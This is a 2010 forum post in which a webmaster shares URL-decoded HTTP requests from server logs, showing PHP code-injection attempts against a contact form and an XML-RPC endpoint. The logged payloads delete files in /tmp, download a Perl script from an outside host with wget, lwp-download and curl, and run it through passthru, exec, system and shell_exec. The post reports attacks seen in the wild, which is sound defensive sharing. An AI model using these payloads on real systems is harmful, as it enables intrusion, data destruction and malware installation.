v1rich - 3:14 pm on Jul 19, 2010 (gmt 0)

I've been seeing this today as well

Here are some of the posts - url decoded

POST /rentals/propertydetail.aspx?PropertyName=contact HTTP/1.1
Connection: TE, close
Content-Length: 468
Content-Type: text/xml
Host: REMOVED
TE: deflate,gzip;q=0.3
User-Agent: MaMa CaSpEr
X-REWRITE-URL: /property//contact.php

<?xml version="1.0"?><methodCall><methodName>test.method</methodName><params><param><value><name>',''));echo'casper';echo`cd /var/tmp;cd /tmp;rm -fr *;wget [allsib.info...] -O bsd.xp;lwp-download [allsib.info...] -O bsd.xp;curl -O [allsib.info...] -O bsd.xp;perl bsd.xp`;echo'kae';exit;/*</name></value></param></params></methodCall>

POST /rentals/propertydetail.aspx?PropertyName=contact HTTP/1.1
Connection: TE, close
Content-Length: 97
Content-Type: application/x-www-form-urlencoded
Host: REMOVED
TE: deflate,gzip;q=0.3
User-Agent: MaMa CaSpEr
X-REWRITE-URL: /property//contact.php

send-contactus=1
&author_name=[php]echo('casper'.php_uname().'kae');die();[/php]

POST /rentals/propertydetail.aspx?PropertyName=contact HTTP/1.1
Connection: TE, close
Content-Length: 1241
Content-Type: application/x-www-form-urlencoded
Host: REMOVED
TE: deflate,gzip;q=0.3
User-Agent: MaMa CaSpEr
X-REWRITE-URL: /property//contact.php

send-contactus=1
&author_name=[php]passthru('cd /var/tmp;cd /tmp;rm -fr *;wget [allsib.info...] -O bsd.xp;lwp-download [allsib.info...] -O bsd.xp;curl -O [allsib.info...] -O bsd.xp;perl bsd.xp');exec('cd /var/tmp;cd /tmp;rm -fr *;wget [allsib.info...] -O bsd.xp;lwp-download [allsib.info...] -O bsd.xp;curl -O [allsib.info...] -O bsd.xp;perl bsd.xp');system('cd /var/tmp;cd /tmp;rm -fr *;wget [allsib.info...] -O bsd.xp;lwp-download [allsib.info...] -O bsd.xp;curl -O [allsib.info...] -O bsd.xp;perl bsd.xp');shell_exec('cd /var/tmp;cd /tmp;rm -fr *;wget [allsib.info...] -O bsd.xp;lwp-download [allsib.info...] -O bsd.xp;curl -O [allsib.info...] -O bsd.xp;perl bsd.xp');;die();[/php]